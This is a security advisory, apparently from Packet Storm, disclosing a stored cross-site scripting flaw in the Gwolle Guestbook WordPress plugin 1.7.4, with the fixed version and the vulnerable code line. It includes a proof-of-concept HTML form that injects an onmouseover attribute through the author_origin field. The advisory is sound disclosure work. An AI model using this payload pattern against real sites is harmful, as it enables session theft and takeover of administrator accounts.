WordPress Gwolle Guestbook 1.7.4 Cross Site Scripting

2017-03-03T00:00:00
ID PACKETSTORM:141411
Type packetstorm
Reporter Securify B.V.
Modified 2017-03-03T00:00:00

Description

                                        
                                            `------------------------------------------------------------------------  
Cross-Site Scripting vulnerability in Gwolle Guestbook WordPress Plugin  
------------------------------------------------------------------------  
Radjnies Bhansingh, July 2016  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
A Cross-Site Scripting vulnerability was found in the Gwolle Guestbook  
WordPress plugin. This issue allows an attacker to perform a wide  
variety of actions, such as stealing Administrators' session tokens, or  
performing arbitrary actions on their behalf. In order to exploit this  
issue, the attacker has to lure a WordPress user with editor or  
administrator privileges into opening a malicious website.  
  
------------------------------------------------------------------------  
OVE ID  
------------------------------------------------------------------------  
OVE-20160712-0033  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
This issue was succesfully tested on the Gwolle Guestbook WordPress  
Plugin version 1.7.4.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
This issue was fixed in Gwolle Guestbook version version 2.1.1. The most  
recent version of Gwolle Guestbook can be obtained from the following  
location:  
https://wordpress.org/plugins/gwolle-gb/  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_gwolle_guestbook_wordpress_plugin.html  
  
This issue can be exploited by an anonymous attacker that sends a Cross-Site Scripting payload via one of the input fields of the guestbook. These fields are visible in the guestbook entries tab. Whenever an editor or administrator reviews the entry the payload is executed.  
  
An example of this vulnerability exists in the /gwolle-gb/admin/page-editor.php file on line 434:  
  
<input type="text" name="gwolle_gb_author_origin" tabindex="3" class="wp-exclude-emoji" placeholder="<?php _e('City', 'gwolle-gb'); ?>" value="<?php echo gw olle_gb_sanitize_output( $entry->get_author_origin() ); ?>" id="author_origin" />  
  
Proof of Concept  
  
A proof of concept attack is listed below:  
  
<html>  
<body>  
<form action="https://<target>/" method="POST">  
<input type="hidden" name="gwolle_gb_function" value="add_entry"/>  
<input type="hidden" name="gwolle_gb_book_id" value="1"/>  
<input type="hidden" name="gwolle_gb_author_name" value="John"/>  
<input type="hidden" name="gwolle_gb_author_origin" value="amsterdam" onmouseover=alert(1) a=""/>  
<input type="hidden" name="gwolle_gb_author_email" value="john@d.oe"/>  
<input type="hidden" name="gwolle_gb_author_website" value=""/>  
<input type="hidden" name="gwolle_gb_subject" value=""/>  
<input type="hidden" name="gwolle_gb_content" value="hi, cool"/>  
<input type="hidden" name="gwolle_gb_wpnonce" value="<valid nonce>"/>  
<input type="hidden" name="gwolle_gb_submit" value="Submit"/>  
<input type="submit"/>  
</form>  
</body>  
</html>  
  
A victim editor or administrator then needs to open the following view page:  
http://<target>/wp-admin/admin.php?page=gwolle-gb/editor.php&entry_id=13  
  
------------------------------------------------------------------------  
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
`